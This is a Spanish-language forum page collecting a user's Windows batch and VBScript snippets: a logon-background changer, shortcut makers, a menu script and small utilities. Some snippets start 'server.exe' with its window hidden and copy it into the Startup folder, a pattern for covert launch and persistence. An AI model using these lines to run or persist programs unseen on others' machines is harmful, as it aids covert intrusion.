Cita de: adsla en 4 Noviembre 2011, 23:06 PM
pues he probado el codigo para xp en una virtual y no funciona
http://www.nirsoft.net/utils/nircmd.zip
necesitas eso.
saludos.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: adsla en 4 Noviembre 2011, 23:06 PM
pues he probado el codigo para xp en una virtual y no funciona
LogonBackgroundChanger.bat ADD
LogonBackgroundChanger.bat DELETE
@echo off
Title Logon Background Changer v0.4 - by Elektro H@cker
Mode con cols=60 lines=4
Nircmd Win center ititle "Logon Background Changer v0.4 - by Elektro H@cker" 2>NUL
color 7
:: CONFIGURACIÓN :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
::
Set Extensions=BMP GIF EMF JPG JPEG PCX PBM PGM PPM PNG TGA TIF TIFF
Set Keyname=Establecer como Logon background
Set QUALITY=80
Set "Install_Dir=%Programfiles%\elektro h@cker Software\mouse menu\Logon Background Changer.bat"
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
IF Not exist "%INSTALL_DIR%" (Copy %0 "%INSTALL_DIR%")
If "%~1" EQU "" Exit /b 1
If /I "%~1" EQU "ADD" Call :Extensions_%~1 %~1
If /I "%~1" EQU "DELETE" Call :Extensions_%~1 %~1
Echo+
Echo: "%~nx1"
Echo: Estableciendo la imagen como Logon background...
REM Activar el Logon background customizado de Windows 7
Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /V "OEMBackground" /T "REG_DWORD" /D "00000001" /F >nul
mkdir "%WINDIR%\System32\oobe\Info\backgrounds" >nul 2>&1
REM Identificar resoluciones
FOR /F %%A in ('%WINDIR%\system32\wbem\wmic.exe DESKTOPMONITOR get ScreenHeight ^| FINDSTR "[1-9]"') do (SET HEIGHT=%%A)
FOR /F %%B in ('%WINDIR%\system32\wbem\wmic.exe DESKTOPMONITOR get ScreenWidth ^| FINDSTR "[1-9]"') do (SET WIDTH=%%B)
:: NOTA:
:: EL TAMAÑO MÁXIMO PERMITIDO PARA EL LOGON BACKGROUND ES DE "250 Kb"
REM OPTIMIZANDO LA RESOLUCIÓN DE LA IMAGEN...
:CONVERT
%windir%\system32\i_view32.exe %1 /resize=(%WIDTH%,%HEIGHT%) /aspectratio /resample /convert="%TEMP%\backgroundDefault.jpg" /jpgq=%QUALITY%
REM OPTIMIZANDO LA CALIDAD DE LA IMAGEN...
%windir%\system32\mediainfo.exe "%TEMP%\backgroundDefault.jpg" "--Inform=General;%%FileSize/String%%" | Find "MiB" >nul && SET /A QUALITY-=5&& Goto :CONVERT
For /F "Tokens=1 delims=. " %%a in ('%windir%\system32\mediainfo.exe "%TEMP%\backgroundDefault.jpg" "--Inform=General;%%FileSize/String%%"') do (Set KB=%%a)
IF %KB% GTR 249 (SET /A QUALITY-=5& Goto :Convert) ELSE (move /Y "%TEMP%\backgroundDefault.jpg" "%WINDIR%\System32\oobe\Info\backgrounds\" >NUL)
:FIN
Echo+
Echo: "%~nx1"
Echo: Imagen establecida correctamente como Logon background.
DEL /Q "%TEMP%\HEIGHT.txt","%TEMP%\WIDTH.txt" >nul 2>&1
ping -n 3 localhost >NUL
Exit
:Extensions_ADD
For %%a in (%EXTENSIONS%) DO (
Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /F >NUL 2>&1
Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /v "icon" /d "%WINDIR%\system32\shell32.dll,301" /F >NUL 2>&1
Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /v "position" /d "TOP" /F >NUL 2>&1
Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%\Command" /d "\"%Install_Dir%\" \"%%1\"" /F >NUL 2>&1
)
Exit
:Extensions_DELETE
For %%a in (%EXTENSIONS%) DO (Reg %~1 "HKCR\SystemFileAssociations\.%%a\shell\%KEYNAME%" /F) >NUL 2>&1
Exit
@echo off
:Windows 7
Title hide me
Nircmd win hide ititle "hide me"
Start /B .\"carpeta\server.exe"
Nircmd win hide "server.exe"
exit
@echo off
:Windows XP
Title hide me
Nircmd win hide ititle "hide me"
Start /B ".\carpeta\server.exe"
Nircmd win hide "server.exe"
exit
@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul
Option Explicit
Dim objShell, objDesktop, objLink
Dim strAppPath, strWorkDir, strIconPath
strWorkDir = "%SystemRoot%"
strAppPath = "%SystemRoot%\notepad.exe"
strIconPath = "%SystemRoot%\system32\SHELL32.dll,17"
Set objShell = CreateObject("WScript.Shell")
objDesktop = objShell.SpecialFolders("Desktop")
Set objLink = objShell.CreateShortcut(objDesktop & "\NOTEPAD.lnk")
objLink.Description = "NOTEPAD"
objLink.HotKey = "CTRL+N"
objLink.IconLocation = strIconPath
objLink.TargetPath = strAppPath
objLink.WindowStyle = 3
objLink.WorkingDirectory = strWorkDir
objLink.Save
WScript.Quit
@ECHO OFF
REM EleKtrO H@ckeR
REM Creamos el batch normal y premium.
echo @echo off > "%TEMP%\Normal.bat"
echo echo Este es el batch premium. >> "%TEMP%\Normal.bat"
echo Pause >nul >> "%TEMP%\Normal.bat"
echo exit >> "%TEMP%\Normal.bat"
echo @echo off > "%TEMP%\premium.bat"
echo echo Este es el batch premium. >> "%TEMP%\premium.bat"
echo Pause >nul >> "%TEMP%\premium.bat"
echo exit >> "%TEMP%\premium.bat"
REM Creamos los hotkeys
REM echo Option Explicit>"%TEMP%\Normal.vbs"
REM echo Dim objShell, objDesktop, objLink>>"%TEMP%\Normal.vbs"
REM echo Dim strAppPath, strWorkDir, strIconPath>>"%TEMP%\Normal.vbs"
REM echo strWorkDir = "%TEMP%">>"%TEMP%\Normal.vbs"
REM echo strAppPath = "%TEMP%\Normal.bat">>"%TEMP%\Normal.vbs"
REM echo strIconPath = "%SystemRoot%\system32\SHELL32.dll,17">>"%TEMP%\Normal.vbs"
REM echo Set objShell = CreateObject("WScript.Shell")>>"%TEMP%\Normal.vbs"
REM echo objDesktop = objShell.SpecialFolders("Desktop")>>"%TEMP%\Normal.vbs"
REM echo Set objLink = objShell.CreateShortcut(objDesktop & "\Normal.lnk")>>"%TEMP%\Normal.vbs"
REM echo objLink.Description = "Normal">>"%TEMP%\Normal.vbs"
REM echo objLink.HotKey = "2">>"%TEMP%\Normal.vbs"
REM echo objLink.IconLocation = strIconPath>>"%TEMP%\Normal.vbs"
REM echo objLink.TargetPath = strAppPath>>"%TEMP%\Normal.vbs"
REM echo objLink.WindowStyle = 3>>"%TEMP%\Normal.vbs"
REM echo objLink.WorkingDirectory = strWorkDir>>"%TEMP%\Normal.vbs"
REM echo objLink.Save>>"%TEMP%\Normal.vbs"
REM echo WScript.Quit>>"%TEMP%\Normal.vbs"
REM echo Option Explicit>"%TEMP%\Premium.vbs"
REM echo Dim objShell, objDesktop, objLink>>"%TEMP%\Premium.vbs"
REM echo Dim strAppPath, strWorkDir, strIconPath>>"%TEMP%\Premium.vbs"
REM echo strWorkDir = "%TEMP%">>"%TEMP%\Premium.vbs"
REM echo strAppPath = "%TEMP%\Premium.bat">>"%TEMP%\Premium.vbs"
REM echo strIconPath = "%SystemRoot%\system32\SHELL32.dll,17">>"%TEMP%\Premium.vbs"
REM echo Set objShell = CreateObject("WScript.Shell")>>"%TEMP%\Premium.vbs"l
REM echo objDesktop = objShell.SpecialFolders("Desktop")>>"%TEMP%\Premium.vbs"
REM echo Set objLink = objShell.CreateShortcut(objDesktop & "\Premium.lnk")>>"%TEMP%\Premium.vbs"
REM echo objLink.Description = "Premium">>"%TEMP%\Premium.vbs"
REM echo objLink.HotKey = "1">>"%TEMP%\Premium.vbs"
REM echo objLink.IconLocation = strIconPath>>"%TEMP%\Premium.vbs"
REM echo objLink.TargetPath = strAppPath>>"%TEMP%\Premium.vbs"
REM echo objLink.WindowStyle = 3>>"%TEMP%\Premium.vbs"
REM echo objLink.WorkingDirectory = strWorkDir>>"%TEMP%\Premium.vbs"
REM echo objLink.Save>>"%TEMP%\Premium.vbs"
REM echo WScript.Quit>>"%TEMP%\Premium.vbs"
REM Copiamos e iniciamos los "hotkeys"
Copy /y "*.vbs" "%TEMP%\" >nul 2>&1
"%TEMP%\Normal.vbs"
"%TEMP%\Premium.vbs"
REM Mostramos el menú...
:MENU
ECHO+
ECHO ...............................................
ECHO PRESS 1 or 2 to select your task, or 3 to EXIT.
ECHO ...............................................
ECHO+
ECHO 1 - Use Premium
ECHO 2 - Use Normal
ECHO 3 - EXIT
ECHO+
Echo Type 1, 2, or 3, Then press ENTER:
Pause >nul
REM Por último, Borramos la basurilla y finalizamos
Del /Q "%TEMP%\Normal.bat";"%TEMP%\Premium.bat" >nul
Del /Q "%TEMP%\Normal.vbs";"%TEMP%\Premium.vbs" >nul
Del /Q "%userprofile%\desktop\Normal.lnk";"%userprofile%\desktop\Premium.lnk" >nul
exit
@echo off
REM EleKtrO H@cker
echo Ingrese archivo correspondiente...
set/p correct=
Dir /B "%correct%" >nul 2>&1
If %ERRORLEVEL% EQU 1 (
echo el archivo no existe :(
pause >nul
goto :FAIL
) ELSE (
echo el archivo existe, prosigue con tu script :)
Pause >nul
)
copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"
systeminfo | find "Nombre del sistema"
' create shell object
Set WshShell = CreateObject("WScript.Shell")
' Create dMC Object
Set dMC = CreateObject("dMCScripting.Converter")
'Read audio properties of a file
Dim AudioProps
AudioProps = dMC.AudioProperties("C:\test.aac")
Call WshShell.Popup(AudioProps, , "Returned Audio Properties", 0)
@echo off
rundll32.exe dMCScripting.Converter.AudioProperties("C:\Test.aac") > test.txt
exit